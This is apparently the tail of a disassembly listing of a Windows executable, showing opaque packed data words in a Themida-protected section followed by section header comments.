		dd 850FEE7Ah, 0
		dd 0AE961h, 334F0000h, 37861B7Eh, 0BC8AC945h, 58D1B966h
		dd 90EAFBB9h, 8BCA8B49h, 8BC28BDEh, 87B866FAh, 0B966FCB4h
		dd 0DE9392Ch, 0AD000000h, 0AEA15E2Dh, 0DDAE2E2Eh, 474BC085h
		dd 0D358ACBFh, 0EE925h,	5A660000h, 451232F5h, 98F245A6h
		dd 0E6C3BF61h, 0FD1BF0Fh, 0A8Dh, 5E900h, 7BFB0000h, 52DD6106h
		dd 12880Fh, 0CE80000h, 8A000000h, 0B3799AEAh, 5DF92DB6h
		dd 5BB95DA5h, 0CE13BE59h, 816602A4h, 667287D1h,	889CE681h
		dd 9E8h, 0C9F42F00h, 0F2D875BBh, 0B70F3BCDh, 0BE665EC3h
		dd 10BBA233h, 0E96932F6h, 13h, 5E6A0Fh,	0D30D9430h, 10296676h
		dd 0CDB944CBh, 0E928F4F0h, 7, 0F6781626h, 0BBE66C73h, 0E1B1AB8h
		dd 88A0Fh, 850F0000h, 2, 0BA6677B3h, 6E926E8h, 37000000h
		dd 0F710E506h, 0FEBF0F55h, 20860FF8h, 0F000000h, 1A84h
		dd 14E800h, 20950000h, 7BAA327Dh, 0B011A037h, 0DF217341h
		dd 0F3D63D77h, 0B85F7182h, 5CE6350Eh, 10E8h, 1918EC00h
		dd 0DEBB9C7Bh, 6376F6B5h, 0A740732Ah, 5BBF6662h, 8E95E5Dh
		dd 33000000h, 96D0C452h, 0F80A040h, 108Fh, 0BE900h, 67D20000h
		dd 0BD378EDCh, 0FB3B6628h, 5EBE6674h, 0C060BACFh, 860F2E73h
		dd 6, 0B5616060h, 0FE9614Ah, 64000000h,	0EEFEDE02h, 1080D584h
		dd 7813BD18h, 9E939CDh,	0
		dd 9040A6C6h, 0CE248E0Bh, 2890F52h, 60000000h, 850F5861h
		dd 1, 95EA81F8h, 0F438CC9h, 0D680CEB7h,	12E9A5h, 659C0000h
		dd 7ACC519Dh, 0AF49A07h, 0FAD7A3AAh, 0BFCE4CCFh, 68EF81F9h
		dd 0BB0ED4A2h, 3B8797C7h, 37B96660h, 11E9613Eh,	4A000000h
		dd 8E3F942Ah, 76EF70D0h, 2A458E1Ah, 930C5B65h, 6607E480h
		dd 10E9D38Bh, 2E000000h, 17038C21h, 20AF1964h, 0C09A3B17h
		dd 510598D6h, 0FE9h, 1985CC00h,	160696AEh, 9BE51318h, 892C7495h
		dd 6E95Eh, 67F50000h, 0FF64AD39h, 0DC80FE8Bh, 0F0816012h
		dd 0C7B8529h, 4CDEBA66h, 0FCF08B61h, 0F56FBB1h,	689h, 820F00h
		dd 5F000000h, 52D98BF8h, 5856F180h, 840EBAF8h, 66560F52h
		dd 0C900F081h, 0DBBF0F58h, 14E8h, 1FCD2E00h, 9D52C21Dh
		dd 0A31798A8h, 396DE772h, 887CCE4Bh, 25DF8172h,	5F299D65h
		dd 32Ch	dup(0AD3A7405h), 91E75D05h, 2 dup(91E75DDBh), 75E1EADBh
		dd 29Dh	dup(75E1EA06h),	8883EA06h, 9Fh dup(8883B5A8h)
		dd 185h	dup(7483143h), 0CCCCCC43h, 0C0Dh dup(0CCCCCCCCh)
		dd 146h	dup(0)
Themida_	ends

; Section 5. (virtual address 001BB000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BB000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BB000h
		align 2000h
_idata2		ends


		end start